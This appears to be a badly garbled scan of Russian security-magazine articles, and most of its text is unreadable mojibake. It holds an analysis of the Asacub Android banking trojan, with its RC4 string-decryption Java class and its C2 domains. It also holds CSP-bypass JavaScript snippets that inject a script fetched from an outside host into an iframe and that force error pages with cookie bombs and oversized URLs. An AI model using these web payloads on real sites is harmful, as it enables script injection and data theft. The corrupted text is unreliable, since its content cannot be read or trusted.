?????� ?????�?� ???� ?????�????,� ??????� ???� ??????�?� SMS� ?� ???�??� ?????�
?????.
??�??�????�??�???�?
??�??�????�????�??????�?�爁.java.
class爁爗
爌rivate爏tatic爁inal燽yte[]燼��"8c70b3a3965".getBytes();
爌rivate爁inal燽yte[]燽;
爁()爗
牋爐his.b�爊ew燽yte[256];
牋燾(a);
爙
爁(String爏tr)爗
牋爐his.b�爊ew燽yte[256];
牋燾(str.getBytes());
爙
爌rivate爏tatic爁燼(int爄,爄nt爄2,爄nt爄3)爗
牋爎eturn爊ew爁("b32a67497e88");
爙
爏tatic燬tring燼(String爏tr)爗
牋爎eturn爊ew燬tring(a(7,��.b(str.getBytes()));
爙
爌rivate爒oid燾(byte[]燽Arr)爗
牋爄nt爄;
牋爄nt爄2��
牋爄nt爈ength�燽Arr.length;
牋燽yte[]燽Arr2�爊ew燽yte[256];
牋爁or�(i��爄��6;爄++)爗
牋牋爐his.b[i]��(byte)爄;
牋牋燽Arr2[i]�燽Arr[i�%爈ength];
牋爙
牋爄��
牋爓hile�(i2��6)爗
牋牋爄��((i�+爐his.b[i2])�+燽Arr2[i2])�&�5;
牋牋燽yte燽�爐his.b[i];
牋牋爐his.b[i]�爐his.b[i2];
牋牋爐his.b[i2]�燽;
牋牋爄2++;
牋爙
爙
燽yte[]燼(byte[]燽Arr)爗
牋爄nt爄��
牋燽yte[]燽Arr2�爊ew燽yte[bArr.length];
牋爄nt爄2��
牋爄nt爄3��
牋爓hile�(i�燽Arr.length)爗
牋牋爄3��(i3�+��&�5;
牋牋爄2��(i2�+爐his.b[i3])�&�5;
牋牋燽yte燽�爐his.b[i2];
牋牋爐his.b[i2]�爐his.b[i3];
牋牋爐his.b[i3]�燽;
牋牋燽Arr2[i]��(byte)�(this.b[(this.b[i3]�+爐his.b[i2])�&�5]燸�
bArr[i]);
牋牋爄++;
牋爙
牋爎eturn燽Arr2;
爙
燽yte[]燽(byte[]燽Arr)爗
爎eturn燼(Base64.decode(bArr,�);
爙
}
??�???,� ??????�???�?� Base64,� ??� ??� ?????� ??????�?� ?????�?????� ??????.
???�???�?� f.java� ?� ?????� ???�??,� ?????�??� ?� ???????� ?� ???�???� ??????�
?????�??�???�?燼.
String燼�爁.a("bQVMCZTJ8RucwuWP+ncPVMRzIkv9g/PXCauYXscZme2gUQL/
3VmxUkOhO4Hj4EyFm4W7I3eO1wr9ZdxOhgiqbF1ox5veD9G3hJPy21Oo4UrF6xPBkefFD
RSqI9Efyqp9HZVWDuOhz4WREtF558SOMI99GRBgj9kYMdxdJfJ+XHuiRro2V0E9Qy3
rTels0lLRFT48xvL2KAKEpfaKbtZdxXwW+PFvn7r3Wy6XMK03n2m2c0PLMjHz3HvKWl
ZW1Dz5V1JzSYb6ck/SfT4eJJouna07iNY2ZpWsJAGvQc46hPJwIDVzu3Ofs6yv/e0iECN
hzsnrxX3gWu0Qoh8Lfc0apwy1g8/3DVykz1q6udXbdsYXUuORaRKkmKL07b/iAqHSs
NvpoOPsknRB");
System.out.print(a);
??�??�?�??�????.
??�??�????�??�???�?
????????????�?????.�??????�????
???�??�??�?:燝enymotion,燗ndroid燬tudio,燱ireshark,燦map
???� ?????� ????� ???????�????,� ?� ???�?� ???� ???�????�??� ???�???� ?� ???
???�?????�???�????.��????�??�???�?�?????�??�????�?????�??�??�???�
???.�???�??��??,�??�?�????�??�???�????��??�??�?�??????�??�???�
????�??.
??�????� ???�??�??�?.� Android� Studio� ?� ???� ??????.� Genymotion� ?� ????�
?????� ???� ?????�?� apk.� Wireshark� ?� ???� ???�???� ???�???� ?� ???????,� ???????�
??????� ???????.� ?� ???�????�?� ???� ????�?� ??� ????�?,� ???�?� ????� ???�?
???????�??�?��??�??,��??�??�?.
???�????�?�??�??�??�??
??�????�???�?� ???�???�??� ??� ???� ???�????.� ?????�???� ?� ????�??,� ???
???????燗ndroid燬tudio.
???�??� ?????� ???�???�??� ?????� ?????�???� SMS� ??� ?????� 900� ?� ????�
????� 502.� ???� ???????�?� ??� ???�?� ????�????,� ??????�?� SMS� ?� ???�??� ?
???� ?????�????� ?????�?� ??????�?� ??� ???�??�??� ???�?.� ???� ????� ???� ?????
????�??�??�???�???��??�??�?�?�??�?,�???�?�???��???�????��???
??�?�??�???????�???�?.
??�???�??�?�????�0
???�?�??�?�????�????�??�???�?�???�??�??.
??�??�????�??�??�??�燱ireshark
????�?�????�???�?�???牜?????�?��??�???�??�.
???�????�?�???�??�???牜?????�?��??�???�??�
??�??,�??�??�???�??�??�???�?�???�??�???�???�??�?????�燬MS.
???�??�????�?�???�????�??�???�??燬MS燼pp
?� ???�?� ??????�?� ??????�???� ????�????� ??� ????�??�???� ??????,� ????????�
???�?�???�???�??�?�???�????�???�??�??.
??�???�?�???�????�
??�???�?�???�????�?????????�????
???�?????�?????,�???�????�???�?燗sacub��????�??�???�???�???.�???�
????�??� ??????� ?� Wireshark,� ?????,� ???� Asacub� ??????�???� ???�???� POST
?�????�????�??�????�?�????爃ttp://whiteonapple.com.
??�??燩OST????�???�燱ireshark
???�??�??????燱HOIS�??�???�?????
Domain燦ame:燱HITEONAPPLE.COM
Registrar燱HOIS燬erver:爓hois.ordertld.com
Updated燚ate:�18?08?23T18:08:07
??�??� ???????�??�????� 23� ???????� 2018� ????.� ?????�??�?� ???� ????�?
??????.�??�?????�?????,�??�??�??�??�??�??�?????�???�??�(!)燗sacub.
????�?,� ?????� ???�?� ?????�?� ??� ???,� ???�?� ???�??????� ??� ?� ??????�?????
???�???.� ????�?????�?� ???� ???� ???�?� ?� ???????� Nmap� (?� ?????� ???�??
ZenMap).
??�??燴enMap�
??�??燴enMap�???� ???� ???????� ??????� ??� ?????�???� ???�??� ??????� ???�?� Debian� ?� nginx.
80??� ????,� ???�??� ???�?,� ?????� ???� ??????�??� ?????�?� ??� ?????.� ??� 443??
???�?,� ???????� ??????�???�?� ???� HTTPS,� ???�?� ???�??????� ???� http://
vcdetfva5gnzbtby.onion.��?�????�?�??�??�??�???燞TTP.�??�??�???�
??,� ???� ?� ???????�?� ???????,� ???�??� Asacub.� ??????� ????�???� ??� ???????,
?� ???????� ??� ??????� ???�?.� ??� ??� ????� ????� ???�??????� ?????�???�???,
???��???�??�??�???�??.
???��?????
??�??� ?????� ??????�??� ???�??� ????� ???�??�???� ???????� Asacub,� ???????
???�?:
? ??�???�???�??????�??�?�?????�???,��??�??�?�???�?�??�??????
? ??�??????�??�???�????��?????�??
? ??�???�???燬MS�?�?????��????�??�?�??�??�???�?�???�?�??�?????
?�??�??�??�????��??�??��???�?????�?�????�?�?�???�??
? ??�???燬MS��?????�???�????�????��????�???�????.
??�????�?????�??�?�???�?,�???�??�???�?�????.��??????�???�??�??
????�????� Asacub� ???�????�?� ????�?????�?� ??????� ???�??� ?� �??�????�??
???�?????�??�.��??.�???�?�?????�???�??�??????�????�?????�????�?
?�?????�?燬MS�?�??�??�???�?????,���?�??????�????�???�?�??????
??�??�?��??�?�????�????.
???�???� ?� ?????�???� ???�???� ???�??�?� ??????�?� ???� ????�?� ??????.
?� ?????� ????�?� ??� ?????�???�?????�?� ??� ???�??�???� ?� 2021� ????� ???�????
???�?� 6� ????�?????� ???�????.� ?????�?� ??????�?� ???�????:� ??????� ???
???????� ???�?????�??� ???�???�?� Telegram,� ???�????�?� ?� ???� ??????�??
???�??� ???�????�?,� ????�?� ????� ???�?� ???�?????�???� ??????� ???�????,
???????� ???�????� ????????� ????�?� ???????� ????�??� ??????�???,� ???� ?� ???
???�?� ??� ??????�??�?,� ?� ????�??� Asacub� ???�?????� ????�???�???� ?????�
?????��????�??????.
??� ?� ????� ???�??� ????�?� ????????� ??� ???�??�?????� ???�????� ????????�
?????,�??�?�?�??�?��????�???燗ndroid�????�????�???�??�??�??�????�
???��?????�??�??��??�??�???�??�??,�????�???�?��????�??�??????�
???� ???????�??.� ????� ??� ??????� ??� ??????�??� ???????�?� ??� ?????� ????�?,
??� ???� ???�??� ??� ???????� ???????�?????� ?????� ???�????�??� ???�????
?�???�??!
?????
Bo0oM
Security爎esearcher,爓hitehat,
bug燽ounty爌racticant,燽log?
ger,爊oob,爏cript爇iddie
@i_bo0om
?????????
???!
???????�????�?????
???????�?????燙SP
??�???�?� ??????� ???�????� (CSP)� ?� ???� ????????,� ??????�
?????� ?� ???�??�?,� ???????� ???�???�?� ????????�?� ??� XSS?
????.� ??� ???�???�?� ???�??�?� ???????�??� ???????�?� ????�
?????� ?????�??,� ?????� ???� JavaScript,� ???�?,� ????�??????,
????�?.�???????�??�??�?????�??????�?????�?��???�
?????�?� ??????�??�??� JS,� ???� ???�??� ?� ??????�?� ?????�
???????� ????????� ???�??�??�??� XSS.� ???�????,� ????
?� ???????�?� CSP� ???�???� ???�?????� ????�??????� ????�?
?� ??????�?� ??????,� ??� ???� ????� ??� ???�??�???� ??????�?
?????�??�???�???�???.�?�??�??�??�?�??�????�??�??�?
?� ???�??� ???�??,� ????� ??????� ????�?� ??????�???� ??� ???�??
?????�??
??�??�??�??�??�?????�??????燙SP��??�??�??????�??�????�????�??
?�???�???�???�?????�(self)��??�??????�????�????�?????????�???�?:
Content?Security?Policy:燿efault?src�'self'�'unsafe?inline';
??�??�?????�?�??�?????�???牜???�?????�??,�??�?�??�?????�.��??�??
???�?????�??� ?????� ???�?????� ?????� ??????�??????� ???�???,� ??????�
??????� ???� ?� ????� ????�?,� ?????� ???� eval,� setTimeout,� setInterval,� ???
???�?????�??�?�??�???�?�'unsafe?eval'.
???�?????�??�???� ??�??�??�???��???�??�??????�??,��??�??�?�????�
???????,燙SS,燱ebSocket.��????�?�?,燡S.
WWW
???� ???�???� ?� ???�????�?� ????�??� XSS� ?� ????
???�?,�?????��??????�??�??�???�?????�?.
??�?�??�?�???????,�??爏elf�??�???�?�???????��??�??�??燬OP��??�??
???�?�?????,�????�?�?�??????�???�????�??�???�??�????,�??�?????
????�?,�???�??????.�???�????�???��???�??,�?燙SP�??�??????�???�?
?�?�???�?,��??�??�?�???��????�??�??�???�?�????�??�??燿ata,燽lob
???�????�???�??????�????��??????�???�???爏rcdoc.
WARNING
??????�?????�?��????�???�???�???�????.�??
???????�??��??�????�???�???�???�??�?????�
???.�?�????,�?�????�??�?�????�?????�????�
?????�?�??�??????�??�?????�??????�??�????�
???��??�???�??�??�???�???,�???�???��???�
???!
?????�?�????????燡S��????????�?????
???�?????�????�??�???�???.�???�??�????�??�??�???�????�???�????�
???????� ???� ????????� ???�??�??� ????,� ??� ????�???�??�?� ???�???�???�?
?燞TML?????�???.
???� ???�?� ???� ???�??�??�?� ????�??????� ?????�?????� ????�?????�?,� ???�?
?�???�??????�??�??��??�???�??�?????�?�?�??�??.�?� iframe�??�?
????�???� ?????!� ?????�?� ?????�??� ?� ???� ???�?,� ???????� ????�???�???
?�??�??�?,�??�????爁avicon.ico�??爎obots.txt,�???�???�??�?�??�???�???�?
?燞TML,�?????�???�?�???,�??�??�???�?��??�??�??,�???�??��??�?
???�??�???�??燾ontent?type.
??�??,�???�????�????�????�???�???�???�??�?,�?�??�??�??????�?
CSP?�??�??�?????�??�??.�????�??�?�????�??�????�??�?????�?�??
JS,� ???????� ?????� ?� ????� ????�??� ????� ?????� XSS� ??� ????�???,� ??� ?????
????�???????�???燡S�?????�???�?.
???�??�?�???�???�?�??�????,�??????�????�???爄frame.�??�??�???
????�??燽ootstrap.min.css,�???��?????�?�??�??�?�???�???�???.
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
??�???�??�?????�?�????�????�???�?.�??????!燙SS�??�??�???�????
?燞TML,��??�??�???�?????�???�????�????爃ead�(????�??�???�??�??).
??????�??�????,�??�???�?�?��??�??�??�????�???�???燡avaScript?????�
??.
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
??�??� ????�??� ??� ?????� ?????�???� ???�????� ?????� iframe,� ???�???� ?� ???
????� JS????�????� ?� ????�???�?� ?� ?????????????,� ???�?� ???????� ????�?� ????�
???.
???� ???�????�??� ???�??�??�??� XSS� ???�????�?� ???????� ?????� ?� ?????
?????,� ???� ??????�??�?� ??????�?� ???????�????.� ???� ?????� ????� ????�??�???
favicon.ico,� robots.txt,� sitemap.xml,� CSS/JS????�?,� ???�????�??� ????�??????�
????�???�??????��??�??.
WWW
PoC�??�???�??�??�?�????爎obots.txt.
??????�??????�??�?????燙SP
??�??,�???�????�??�??�???�????�(200�燨K)�????�??燲?Frame?Options:
Deny?�??�??�???�?,�??????�????�???�??�???�????燙SP,��??�??????�
????� ?????�??� ???????�??� ???� ????�??� ???????�???.� ?????� ????�??� ?????�
???� ?� ????�???�?� ??� ???????�??�???� ????�???.� ?� ???????,� ???� ???�??
?????�?�??�??燲?Frame?Options�???�?�?�???�?�0,�?�4�???�???�?.
??�?��??�??�??�????�?��??�???�?�??�???�???�??�???�???�????
??�??????�???��????�??�???�???�?.
???�?� ?????�??????�?� ???�???� 400� bad� request� ??� ???�???� nginx,� ????�
?????�?�???�???�?�?�????�????�???��??????�???�???�??�/%2e%2e%2f
.� ???�?� ???�???�??�???� ???�?????�??� ????�?� ???�??�??� (???�???� ???�??
/../��????�??�/),�???�?爑rlencode�??�?��??�????�?�??�?:
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
???�??�?�???�????�??�????�??????��?????�?�????�??�??�?爑rlencode
?�???,�??�????�/%�??�/%%z.
??�???�????�???�??�??�??�???????�???�?�??????�???��??�???�
????�??� ???�?� URL.� ???�????�??� ???�??�?� ??�??� ????�???????� ????�?
???�?� ????�?,� ???� ???�????�???� ???????�??.� ?� ?� ???????�????� ??� ?????�
?????� ???�??� ????�?� ??� ???�??� ???�?????� 8� ?????� ???�??,� ???� ?� nginx,� ???
?�燗pache.
???� ???�?� ??????�?� ???????� ???�????,� ???�????� ?� ???�??� ????
?��0�???:
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
??�?� ?????�???� ?� ???�??� ???????� ?� ???� ???�?� ???.� ??�????�??� ?� ???�?� ???
?� ???�??�?� ?????� ????� ????�?,� ???� ???�????�???� ???????�???.� ??� ????�
?????:
1.�??�???�???????燾ookie:
for(var爄=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
2.�?�??�???� ?????� ??� ?????� ?????,� ???�??� ???�??� ????�?� (?� ???�?
???燲FO�燙SP).
3.�??�???�???????燾ookie:
for(var爄=0;i<5;i++){document.cookie=i+"="}
4.�?�??��????�???燡S????�????,�??????�???�?爏ecret.
???�????�??!��???�?�??????�?,�??�???燩oC�).
???�??� ???�?,� ????� ?� ???�??� ???�???� ???�???� ????�?,� ???�????� ??????�
????� ????�??� ????�??� POST????�??� ???� ???�???� ????�?� ??????� ????????�
????�??�(???�????,��???�??�0).
?????? ???�????????
??�???� ???� ??????�?� ???�??�????�?� ?????�?� ?� ????�?� ???�??�???�???
?????�????�??.
WWW
??� ???�?� Useless� CSP� ??� ???�???� ???�??�??
???�????�??�??,�?�??????�????�?�??�??�??
CSP,�??�??�??�??�?????�?�??.
???�????�???????
??�???�??� Content?Security?Policy� ???�??� ???�???�??�???� ??� ????� ????�????,
????�?�???�??�??????�???.
???�???�?� CSP� ???�??� ???�???�???� ?????� ????�??,� ???�?� ???�?� ????
????????�?� ????�?????�?� ???� ???�??�???� ??????� ?????�?,� ????� ???� ????�
?????.� ???�????� ????�???� Content?Security?Policy?Report?Only:� de?
fault?src� 'none'� ?� ???�????�?� ????�???� ???�???� ???� ???� ???� ????� ?????�
????.
??�?� ???� ???�??�???� ??????� ?????�?� ????�?????� ??????�?????� unsafe?
inline,� ???�?????�?� ???�?� ????�???� nonce� ???� hash?source,� ???� ???�?
??????�?�???�???燲SS�??�??�?�??.��???燙SP�?�?????�?�?�???,�????
?�??�?????
INFO
??�??�?????�?,�??�??�??�??� @majorisc,�??�??
??�???�???�??�?�???�?��??????燫TCPeer?
Connection,�?????�??�??�??�????燚NS?????�
????.� Default?src� 'self',� ?� ??????�??,
??�?????�?��?�??�?.
???????????
????
???????
CuboZoa
kuzdima2@gmail.com
???????????,�??
?????????�????????
??????��???????????
????�?????
??�???�??� ???�???�?� ??????�?� ???�?� ???�??� ?� ????????�
???,�?�??????�??�?�?????�????�??�??��??�?�??????�
??�??�???�??�??�?.��????,�??�???�???�???�?��??�???�
???�?� ???� ???�??,� ??� ???�???� ?????�???� ???� ?????�?� ????�
???�????�??????�??�?�???�?�?�??�????�????.�???�?
????????� ?� ??????� ????�????�?� ??????�???,� ??� ?????� ????�
??????�?��????�?�???????,�???�?????�??�??�???�?
??�??�??��?????�??�??�???�?????�?.
???� ??????� ???�?� ???�?????,� ???� ???�???�???� ???�??� ?� ????� ????????????�
????�?�?????�???�?��??�???�?��??�???�??�???�????.�??�??�???�????
?????� ???�???????� ???�?� ?� ??????�?� (???�?� CDR,� ????� RADIUS,� ?????
?� ASCII)� ?� ????????� ??� ???�??� ???�???�??� (NetFlow,� SNMP,� SOAP).� ?� ???�?
???�??�???�???� ????� ????� ???????� ?� ???�?????� ???????,� ???�???� ???�??,
????�???�???� ?� ??????�???� ????�?� ?� ???�????�??� ???�???� ?� ???�???,
???????�????�???�???????�?�???�????�????.
???�???�??�?�???�?�??�???�???�??�??,�??�??��??????�???????�?
??� ???�??�??????� ???�????�??.� ???�???�?� ??????�?� ???????�??� ?� ?????
???�???��??�??�???�???????�????�??�?????�?.
?????�??????????�??????-???????????
???�???�?,� ???� ???�??�?� ?????� ????????� ???� ?????� ?????� ?� ???�????�??
????� ?????,� ??� ????�?� ???�???�?� ??????� ???� ???�?� ???�???�????.� ?????�?
?????�???�?�????�????��??�???�?�?�??�??�????�??�??�??�???????�?
????�??????� ?� ???� ???� ???�??� ??????.� ???�??� ?� ???�??� ???�???,� ???�??�?
???�??�??�???�?,�??�???�??�????��??�???�???�??�???,�??�????�?�???�
???�??�??�????.
?� ???????� ????�?????�?� ?????�???�?� ???�?????� ????�?� ?� ?????�????
???�??.� ???�????,� ????�?� ???�?????� ?????� ??� ???�???�????� ?� ?� ???�????.
????�?,� ???�???� ????�???�?� ????�???� ???� ???,� ???� ?� ???�????� ??� ???� ????�
??????�??.� ????� ??� ????�????�?� ????�???,� ??� ?� ???�???�????� ??� ???�?????
??????�?�???.�???�???�????�???�??�??�??,�???�???�??�????�?????�
???��???�???��??????�???�?????�?.
???�????� ?� ?????� ???�????� ??????� ??� ????�???�??� ???�??????�??�??
???�????��??�???燫OI.�???�???��??�????燫OI�???�?��??,�??�?�???
????????�??�??,���?�??????,�????牜?????�??粻??�?????.�??�??�?�??
??� ???�?� ????�?� ?� ????�?????�??.� ???�?� ???�????�?� ???�??�????� ?� ?????�
????�???�??�?,�?�???�?��???????�?????�????�????�???��??�??�???�
???�?� ???,� ???� ???�???�??� ?????�????.� ???�?� ???�??�?� ???�??�??� ???�???
??????� ?� ??????�??�?� ????�???�???�??� ???�??� ???�????� ?� ????�?????�?,
??� ?????�????� ????�?????� ???�??????�??� ??????� ???�???�????� ?� ???????
??????�?�??�??.
??�??�?��????�??�?�??�???�???�??�???,�??????�?????�???�??�???�
???� ???�??� ?� ???�????� ?� ???�??,� ????�??� ??� ????�?????�?� ?� ???�???.� ??
??????��??�???�?,�??�???��??�???�????,�?�?�???????�??�???牜??
???�?� ??� ???�??�?�.� ???� ????� ???�???�???� ?� ???�??�???�???� ????�??????
???�???� ????�?� ????�?� FMS� ?� Fraud� Management� System.� ?????�?,� ??
????????� ????�????�????� ?� ???�?� ??� ???�????� ????�?????�?,� ?� ????�????
?????�????�??� ????� ?,� ???� ?????�???,� ??????�???� ??????� ?� ???�????�??
???�??��??�???�????��??�????�??�??�??.
??�????�???�???�????�?????�??????�???�?????�?�????�??�?.�???�
?????,� ???� ?????� ????� ?????�????� ????�?� ???�?� ???�??????� ???�??�?
??� ???�???�????� ?� ?� CRM.� ?????� ???�?� ?????� ???�?????� ???�?????� ?????�
???.
1.�� ???????� ????�?????�?� ??� SOAP� ??????�?� ???�??� ?� ???�???�????
(HSS,燰LR,燞LR,燗UC,燛IR).
2.�??�???�???�???????燫AW????�??��??�??�??�??.
3.�?�???� ???�??� ?� ????�??� ???�???� CRM� (????� ???�??,� ????�??�???
????????�?).
4.�??�???�??�???�?�??�??.
5.�??�???�?�???????????�????.
6.�?�???�??�??��??�???燙RM�?�??�??�???�??�??�??.
7.�???� ?� ???�???,� ????�???� ?????� ?� ??????�?� ?� ???,� ???�???�???
?�??????�????�??��?�??�??��????�????.
???� ????� ???�??� ??????�??????� ?� ?????�????� ???�??� ?� ????�?????� ??
????�??�?.�????�???�??�??�????,�??�?��??�?????�??????��??�????�
?????�(GGSN?SGSN,�?????�??):�??�???????�??�??�?????��?????�????
???�??�?��??�??�??�??????,�?�?????�??��??,�??�?�????�??�????�
??�??�??�???�????�??????�???�??�??�??�??.�?�???�??�???�????�??
???�?????�??�?,�??????�??�???�?�???�???.
1.�?�???�??�??�??��??�???�????.
2.�?�??????� ???�??� ??� ????�?????�?� (????,� ???�?� ???????�?� ???� ???�??
??????�?�??????????�???�??).
3.�?�???�?�??�??��????�??�??�???.
4.�???��???�?��????�??????�?�????�???�???��???�???�???�???�
????�?� ????�???� ???�?????�???� ????????????�???.� ???�???� ???�?� ????
???�??��???�??�??��?????�???�???�????�??,�???�??�???�??�??�??!
???�??�?�???�??????�??�?�?????.�??�??�?????�?�??�???�?�??�???�
??� ???�???� ?????� ????�??� ????� (???�????,� Big� Data),� ??� ???� ????� ??????�
????�?.
???�???????�???????
???�?� ????� ?????�??,� ???� ???� ??????�?� ?� ???� ?????� ?????� ???�??????� ?????�
????,� ?????� ????�??� ???�???� ????�?????�?� Hewlett?Packard� Internet� Usage
Manager� (HP� IUM,� ?� ????????�??� ????�???� eIUM)� ?� ??� ??� ???�???� ????�
??????,�??�?????�?�????�??�???.
????�????�???�??�??????�?,��??????�??�???�???,�??�?,�????�?
???�?� ?� ???,� ???� ????�?� ???�?.� ??� ????� ??� ???�?� ?????� ???�??� ???�??�?,
??�?�?????�??�??�??�???�???�??�???�??�??�?.�?�????�???????
?????�?� ?� ???????� ??� ??????� ???�??� ???�?,� ??� ????�??� ?� ????� ????�??�?
?????�??�??�??�???�??�?�???�??��???,�??,�????�?.�??��???�????�
?????�??� ???�?� ????�?????�?:� ????,� ????�??�?� ?� ?????� ???�??.� ?� ?????�
??????�?� IUM� ??????� ????� ?????�?� ??????�???� encapsulator,� aggregator
?燿atastore.
???�???�?????�???????,�??�?�??�?��??�??�??�??�???�??�???�???�
????� ???�??� ?� ?????� ????????�??� ???�?� ???????�??,� ???� ??????�?� ?????�
??????�???�??�?�??�????�?.�??�?????�???�????????�??�?�??�??�??�?
???�??� ??� ??????�?� ????�?� ???� ???�??�????�??,� ???� ????�??�?� ??????�
?????,�??�??�??�????�?�????�???�????�???�??�???�??�??.
??�??�?� ?????� ???�?,� ???�?� ???�???�????� ???�?????�?� ???�????????,
???????� ???�?� ??� ????�?� ????�????�??� ?� ????�??�?????� ???�???�???�??
?????��??�??�??.�??�??�??�??�???�????��?????�??�???�??�??�(????�
??????),�??????�?????�?�???�?�?�??�?�??�????�???�??�??�??.�???�
?????,�???�?�???�?�??�????��???????�???��??�???�????燙ISCO燩GW?
SGW� ?� ????????????�????� ??????�??� ???�??�??� ??� ???�?????,� ???????
????�???�???�????��??�???�????�??�??????�??�??�?營skratel燬i3000.
??�?�?�??�??�???,�?��??�??�??�??�??????�????�????�??�????�
???�?,� ?� ?� ???�??� ?� ???� ????�??� ???� ????�??�?� ???�???�???� ??????,� ???
???�???�??�??????�?????�??�??��???�??��????�????,�???�?�?�????
????�???�牜?????粻?�??�??�?�??�??�??�??.�????�??�?�???????,�??
???� ???�???� ????�?????�?,� ???� ???�???,� ???�??�?� ???�??�???�?� ???�??,
??�???�??�?�??????�?�??�??�??�?�??�???�??�???�??�??????�?????.
??�?????�?� ?????� ?????�?????� ???�??� (RAW)� ???�???�???� ??� ????�?
???????�???�?� ?� ???� ?????� ??� ?????� ????� ???�??�???� ???�???�???�???
?� ????�??�??.� ???� ????�???,� ????� ???�?� ??� ???�?� ????�????� ???�??????
?� ???????� ????�????,� ???????� ???�??� ????� ?� ????�?????� ???�???�?
??� ???�?� ??????� ???�??� (???�?� ??� ?????� ???�?????� ?????� ???�?????� ???�?
????�????).
???�?�(.cdr,�.log��??�??)��?????�?�?�???????�?�???�?????�??????�???�
???�??�???�?�??��?????�??�??????�??,�??���??�??�??�(FTP,燬FTP),�???�
?????�???�???�?????��?�??�??�??�???�??.�??�???�?�??�?�??�??,
?�??????�??�??�???�??燡ava.
???� ???� ???�???� ????�?????�?� ?� ???�???�??� ??????� ??????� ??� ?????�
?????�???� ???� ???�????� ????�??� ????�???�?????� ???�??� (?� ??� ?????� ????
???�?� ?????� ?� ???�?),� ??� ???�?� ????�??�?� ????� ??� ???????�?� ???�???�?.
??�??�??�??�????�???�?�???�?�????�???�??�??�??�??�??.��??????�
????� ????�?,� ???� ??????� ??� ???�?� ????�???�???�?� ???�????� ???� ?� ????�??
????�???�?� (???�?� ???�???� ????� ??????�???).� ???� ???�??�??�????� ?????
???�??� ?????�??�?� ???????�?� ??????:� ???�??�?� ??� ???�?� ???�??
???�??????,�??�??�?�?�??�?��??????��??�??.
??�?�?�????�??�????�???�????��??�??�??�????��??�???�??�??.
???�???�?�?�??�??�??�??�(?�?????,��????�??�??),�??�??�?????�?
????�???�???�????�??�??,�??�???�?�?�??�????�?�????�??���??�?
???� ???�?� ???�???�?� ???�???,� ???�?� ??????�?� ?????�???� ???�???� ???�??
???�??.�????�???�??,�??�??�????�???�??????�??�???�?�?????�???�?
????�???�???�??�?�(MySQL,燭imesTen,燨racle��??�????).�???�???�???�?,
??????�?� ???� ????� ???�???,� ???????� ???�??� ??� ??????� ????�?????�?
?�?????�??�?�??�?????�??????�????.
???��?????�?????
???�????� ??� ????� ?????�??� ???�??� ??????�???????� ???�?,� ???????� ????�
??????� ????????�?� ????????� ?� ???????�???� ??????�????,� ?� ?????,� ????�
?????,� ???� Perl.� ???�????�?� ???�?� ????� ????�??????,� ????� ??� ?????� ??� ????�
?????�?????��???�???�??�?????,��??�??�???�??�???????�???�????�
???� ?????.� ?????�???�?,� ???�?� ???????�??� ??????�??� ???� ??????� ??� ???�?.
???�???�?� ???�????� ???�?� ???�??� ?� ??????�??� ???�??�????� ?� ???�???
??????� ?????� ????�?� ??� ?????� ???�???� ???�???�??� ?????� ???�??� ??????�
??????,� ???� ???� ???�?????�??� ?� ???�????� ????�????� ??????�?� ???�?� ????�
????,�??�??�???�?????�???�??�??.
???�????�??� ????�??????� ?� ???� ?????� ???????,� ???� ???�???� ????????�
???� ??� Java,� ??????�?� ???�?� ?????????� ?� ???�????�??� ????????�?
?� ???????� ????�??�???� ???�????� ??????�????,� ?????�?,� ??????�????,
???????�??????.�?????��???�???????�?�???�?��????�?.
???�?????��???????�?????�???�?�??�???�????�??�???�?�???燣inux
???燯nix,�???�燱indows.
??�?????� ????�???� ????�?� ???�???� ?� ???�??�??� ???�?????�??
???�???�????�??�??,�??�??�??�??�??�????�?�??�??�??�??????�???�
???��??�???�???�??�???�?�??�??�??�??.�?????,�??�??�???�??��???
??� ???�??� ???�??,� ??� ????�?� ????�?� ?� ?????�?.� ?????�?� ???�????�?� ??????
???�???,�??????�??�???�????�??�??�??????�??�??�?????�????.
???�????� ????� ???�???� ?� ??� ????�????� ?� ??????�??�??� ???�??.� ?????
?????�????� ???�???�???� ??????� ???�??� ???� ???�?????�??� ??� ???�??????�
???.
??�?????�???�?� ???�??� ???�?????�???�?.� ????� ??� ???�?� ?� ???� ?????�
????????�????,� ???????� ??� ???�???�?� ???�??�??� ???�???� ?� ????�?????� ????�
???,� ????�?� ????� ????�??� ?????� ????� ???�??� ?????�??�???� ???�??� ??????�
????�???.�????�?????燫AW??????�??�???�?�?�??�?????�??�??��????�
?????.� ????� ????�????� ?????� ????� ???�???�?,� ?� ???� ???�???�???� ????
??� ???�?.� ???� ????� ???�??� ?????� ????,� ???�???�???� ?� ???,� ????�?� ?????
?????�?�??�?,�??�????�?�?�??�??�?????��???�??�???,�??�??�??�??
???�??.
???�?�???�????�??�??�?????��??�????�??�?????�?.�??�????�????
????�??�??�????��???�??�??,�??��??????��???��?????�??�??�????�
??� ????� ????�?� ???????� ?� ???�???�?� ????�?????�?,� ???� ???� ?????� ??????,
????�??�?�???�????.
???�?�???�??�?�?�??�??�???�?�??�??�????�?????�???�?�?�??�??
?� ?????.� ?????� ???�??�?� ????�?????� ???� ???�???�??� ???�??�?� ????�??�?
?�??�??�???�??�??�????.�?�??�??�??�??��?????�?????�??�??�????
?????�???�?� ???�??� ?????,� ???�?????�?,� ??????�?,� ??????�???�?,� ???�???�
????�?� ?� ???� ?????.� ?????�??� ???�??� ?� ???� ????�?� ???�????� ???�??� ?� ????�
????,�??????�??�??�????�?.
?�?????�???�?????�?�?�??�??�(?�??�??�???�?!):
? ??�???�???,� ???�?????� ?� ???�????�?� ??� ????�????????�??� ???�??,� ?
????�??�??�???????�?�?????�??�??�????
? ???�?????�??�??�?�????�??�??.
??�???� ??� ????� ?????� ???�???�???� ???�??� ???�????�???� ????�??�?.� ?????�
????�???�?� ????�?� ??� ???�??,� ???????� ???�?� ???� ??????.� ???�???� ???�?
??� ??????�??� ???� ????�?� ??� ????� ?????�?,� ????� ???� ??� ??????�??�?.� ?????
????�??,� ??� RAW???????� ???�?� ?????� ????�?� ??,� ???� ???�?� ???� ????� ?????�
?????.� ??� RAW� (???�??�??� ???�?,� ??????�???� ???�????,� ?????�??� ???�?)
???�????�???�?�???�??????.
???????????
